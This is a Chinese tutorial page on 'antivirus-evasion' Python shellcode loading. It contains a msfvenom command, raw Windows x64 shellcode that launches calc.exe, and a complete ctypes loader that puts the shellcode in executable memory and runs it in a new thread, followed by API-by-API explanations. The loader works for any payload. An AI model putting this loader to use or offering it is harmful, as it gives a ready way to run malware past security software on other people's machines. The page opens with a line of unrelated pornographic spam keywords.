欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

python免殺技術(shù)shellcode的加載與執(zhí)行

 更新時(shí)間:2023年04月11日 09:29:12   作者:p0inter  
本文主要介紹了python免殺技術(shù)shellcode的加載與執(zhí)行,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧

0x01 生成shellcode

首先通過下列命令生成一個(gè)shellcode,使用msfvenom -p選項(xiàng)來指定paylaod,這里選用windows/x64、exec模塊接收的參數(shù)。使用calc.exe執(zhí)行彈出計(jì)算器的操作。-f選項(xiàng)用來執(zhí)行生成的shellcdoe的編譯語(yǔ)言。

msfvenom -p windows/x64/exec CMD='calc.exe' -f py

在這里插入圖片描述

0x02 加載與執(zhí)行shellcode的程序

程序?yàn)椋?/p>

# -*- coding:utf-8 -*-

import ctypes
from ctypes import *
from ctypes.wintypes import *
import sys

PAGE_EXECUTE_READWRITE = 0x00000040
MEM_COMMIT = 0x3000
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

VirtualAlloc = windll.kernel32.VirtualAlloc
RtlMoveMemory = windll.kernel32.RtlMoveMemory
CreateThread = windll.kernel32.CreateThread
WaitForSingleObject = windll.kernel32.WaitForSingleObject
OpenProcess = windll.kernel32.OpenProcess
VirtualAllocEx = windll.kernel32.VirtualAllocEx
WriteProcessMemory = windll.kernel32.WriteProcessMemory
CreateRemoteThread = windll.kernel32.CreateRemoteThread

shellcode = bytearray(
    b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
    b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
    b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
    b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
    b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
    b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
    b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
    b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
    b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
    b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
    b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
    b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
    b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
    b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
    b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
    b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
    b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
    b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
    b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
    b"\x78\x65\x00"
)

def run1():
    VirtualAlloc.restype = ctypes.c_void_p  #重載函數(shù)返回類型為void
    p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申請(qǐng)內(nèi)存
    buf = (c_char * len(shellcode)).from_buffer(shellcode)#將shellcdoe指向指針
    RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#復(fù)制shellcdoe到申請(qǐng)的內(nèi)存中
    h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #執(zhí)行創(chuàng)建線程
    WaitForSingleObject(c_int(h),c_int(-1))#檢測(cè)線程創(chuàng)建事件

if __name__ == "__main__":
    run1()

0x03 程序解釋

導(dǎo)入模塊,并且程序分配內(nèi)存還有可進(jìn)行讀寫操作。

import ctypes
from ctypes import *
from ctypes.wintypes import *
import sys

PAGE_EXECUTE_READWRITE = 0x00000040
MEM_COMMIT = 0x3000
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

區(qū)域可執(zhí)行代碼,可讀可寫

PAGE_EXECUTE_READWRITE = 0x00000040

分配內(nèi)存

MEM_COMMIT = 0x3000

給予進(jìn)程所有權(quán)限

PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

調(diào)用windows api

VirtualAlloc = windll.kernel32.VirtualAlloc
RtlMoveMemory = windll.kernel32.RtlMoveMemory
CreateThread = windll.kernel32.CreateThread
WaitForSingleObject = windll.kernel32.WaitForSingleObject
OpenProcess = windll.kernel32.OpenProcess
VirtualAllocEx = windll.kernel32.VirtualAllocEx
WriteProcessMemory = windll.kernel32.WriteProcessMemory
CreateRemoteThread = windll.kernel32.CreateRemoteThread

將前面生成的shellcode賦值給shellcode參數(shù),賦值前使用bytearray函數(shù)處理

shellcode = bytearray(
    b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
    b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
    b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
    b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
    b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
    b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
    b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
    b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
    b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
    b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
    b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
    b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
    b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
    b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
    b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
    b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
    b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
    b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
    b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
    b"\x78\x65\x00"
)

創(chuàng)建一個(gè)方法并調(diào)用,申請(qǐng)內(nèi)存,將shellcode指向分配的內(nèi)存指針,再?gòu)?fù)制shellcode到內(nèi)存中,創(chuàng)建線程事件并執(zhí)行:

def run1():
    VirtualAlloc.restype = ctypes.c_void_p  #重載函數(shù)返回類型為void
    p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申請(qǐng)內(nèi)存
    buf = (c_char * len(shellcode)).from_buffer(shellcode)#將shellcdoe指向指針
    RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#復(fù)制shellcdoe到申請(qǐng)的內(nèi)存中
    h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #執(zhí)行創(chuàng)建線程
    WaitForSingleObject(c_int(h),c_int(-1))#檢測(cè)線程創(chuàng)建事件

VirtualAlloc是用來申請(qǐng)內(nèi)存空間,是一個(gè)Windows API函數(shù),它的聲明為:

LPVOID VirtualAlloc{
LPVOID lpAddress, // 要分配的內(nèi)存區(qū)域的地址
DWORD dwSize, // 分配的大小
DWORD flAllocationType, // 分配的類型
DWORD flProtect // 該內(nèi)存的初始保護(hù)屬性
};

RtlMoveMemory從指定內(nèi)存中復(fù)制內(nèi)存至另一內(nèi)存里.語(yǔ)法為:

VOID RtlMoveMemory(
VOID UNALIGNED *Destination,
const VOID UNALIGNED *Source,
SIZE_T Length
);

參數(shù):

Destination :指向移動(dòng)目的地址的指針。
Source :指向要復(fù)制的內(nèi)存地址的指針。
Length :指定要復(fù)制的字節(jié)數(shù)。

CreateThread是一種微軟在Windows API中提供了建立新的線程的函數(shù),該函數(shù)在主線程的基礎(chǔ)上創(chuàng)建一個(gè)新線程。
函數(shù)原型:

HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,//SD
SIZE_T dwStackSize,//initialstacksize
LPTHREAD_START_ROUTINE lpStartAddress,//threadfunction
LPVOID lpParameter,//threadargument
DWORD dwCreationFlags,//creationoption
LPDWORD lpThreadId//threadidentifier
)

參數(shù)意義

  • lpThreadAttributes:指向SECURITY_ATTRIBUTES型態(tài)的結(jié)構(gòu)的指針。在Windows 98中忽略該參數(shù)。在Windows NT中,NULL使用默認(rèn)安全性,不可以被子線程繼承,否則需要定義一個(gè)結(jié)構(gòu)體將它的bInheritHandle成員初始化為TRUE。
  • dwStackSize,設(shè)置初始棧的大小,以字節(jié)為單位,如果為0,那么默認(rèn)將使用與調(diào)用該函數(shù)的線程相同的棧空間大小。任何情況下,Windows根據(jù)需要?jiǎng)討B(tài)延長(zhǎng)堆棧的大小。
  • lpStartAddress,指向線程函數(shù)的指針,形式:@函數(shù)名,函數(shù)名稱沒有限制
  • lpParameter:向線程函數(shù)傳遞的參數(shù),是一個(gè)指向結(jié)構(gòu)的指針,不需傳遞參數(shù)時(shí),為NULL。
  • dwCreationFlags :線程標(biāo)志,可取值如下
    • (1)CREATE_SUSPENDED(0x00000004):創(chuàng)建一個(gè)掛起的線程,
    • (2)0:表示創(chuàng)建后立即激活。
    • (3)STACK_SIZE_PARAM_IS_A_RESERVATION(0x00010000):dwStackSize參數(shù)指定初始的保留堆棧 的大小,否則,dwStackSize指定提交的大小。該標(biāo)記值在Windows 2000/NT and Windows Me/98/95上不支持。
  • lpThreadId:保存新線程的id。
    • WaitForSingleObject是一種Windows API函數(shù)。當(dāng)?shù)却栽趻炱馉顟B(tài)時(shí),句柄被關(guān)閉,那么函數(shù)行為是未定義的。該句柄必須具有 SYNCHRONIZE 訪問權(quán)限。

聲明:

DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle,
__in DWORD dwMilliseconds
);

hHandle[in]對(duì)象句柄??梢灾付ㄒ幌盗械膶?duì)象,如Event、Job、Memory resource notification、Mutex、Process、Semaphore、Thread、Waitable timer等。

dwMilliseconds[in]定時(shí)時(shí)間間隔,單位為milliseconds(毫秒).如果指定一個(gè)非零值,函數(shù)處于等待狀態(tài)直到hHandle標(biāo)記的對(duì)象被觸發(fā),或者時(shí)間到了。如果dwMilliseconds為0,對(duì)象沒有被觸發(fā)信號(hào),函數(shù)不會(huì)進(jìn)入一個(gè)等待狀態(tài),它總是立即返回。如果dwMilliseconds為INFINITE,對(duì)象被觸發(fā)信號(hào)后,函數(shù)才會(huì)返回。

運(yùn)行程序可以成功彈出計(jì)算器。

在這里插入圖片描述

到此這篇關(guān)于python免殺技術(shù)shellcode的加載與執(zhí)行的文章就介紹到這了,更多相關(guān)python shellcode加載與執(zhí)行內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • python腳本框架webpy模板控制結(jié)構(gòu)

    python腳本框架webpy模板控制結(jié)構(gòu)

    這篇文章主要為大家介紹了python腳本框架webpy模板控制結(jié)構(gòu)示例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步
    2021-11-11
  • python中f‘{}‘用法小結(jié)

    python中f‘{}‘用法小結(jié)

    這篇文章主要介紹了python中f‘{}‘用法,f’{}’用法等同于 format用法的簡(jiǎn)單使用,更加方便,本文給大家詳細(xì)講解,對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2023-03-03
  • 安裝pycurl報(bào)錯(cuò)Could not run curl-config: 'curl-config'

    安裝pycurl報(bào)錯(cuò)Could not run curl-config: &ap

    這篇文章主要為大家介紹了安裝pycurl報(bào)錯(cuò)Could not run curl-config: 'curl-config'解決方法,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2023-12-12
  • Scipy稀疏矩陣bsr_array的使用

    Scipy稀疏矩陣bsr_array的使用

    本文主要介紹了Scipy稀疏矩陣bsr_array的使用,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2023-02-02
  • 基于Python制作三款起床鬧鐘的示例代碼

    基于Python制作三款起床鬧鐘的示例代碼

    每天上班最痛苦的事情就是早起早起早起!這是大部分上班族的痛苦,但是不上班又是不可能的啦,因?yàn)槎际菫榱烁沐X。本文用Python制作了三款有趣的鬧鐘,感興趣的可以學(xué)習(xí)一下
    2022-05-05
  • pytest實(shí)戰(zhàn)技巧之參數(shù)化基本用法和多種方式

    pytest實(shí)戰(zhàn)技巧之參數(shù)化基本用法和多種方式

    本文介紹了pytest參數(shù)化的基本用法和多種方式,幫助讀者更好地使用這個(gè)功能,同時(shí),還介紹了一些高級(jí)技巧,如動(dòng)態(tài)生成參數(shù)名稱、參數(shù)化的組合和動(dòng)態(tài)生成參數(shù)化裝飾器,幫助讀者更靈活地使用參數(shù)化,感興趣的朋友參考下吧
    2023-12-12
  • windows中安裝Python3.8.0的實(shí)現(xiàn)方法

    windows中安裝Python3.8.0的實(shí)現(xiàn)方法

    這篇文章主要介紹了windows中安裝Python3.8.0的實(shí)現(xiàn)方法,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2019-11-11
  • python3 sorted 如何實(shí)現(xiàn)自定義排序標(biāo)準(zhǔn)

    python3 sorted 如何實(shí)現(xiàn)自定義排序標(biāo)準(zhǔn)

    這篇文章主要介紹了python3 sorted 如何實(shí)現(xiàn)自定義排序標(biāo)準(zhǔn),具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧
    2020-03-03
  • 理想高通濾波實(shí)現(xiàn)Python opencv示例

    理想高通濾波實(shí)現(xiàn)Python opencv示例

    今天小編就為大家分享一篇關(guān)于理想高通濾波實(shí)現(xiàn)Python opencv示例,小編覺得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來看看吧
    2019-01-01
  • python正則表達(dá)式中的括號(hào)匹配問題

    python正則表達(dá)式中的括號(hào)匹配問題

    這篇文章主要介紹了python正則表達(dá)式中的括號(hào)匹配問題,需要的朋友可以參考下
    2014-12-12

最新評(píng)論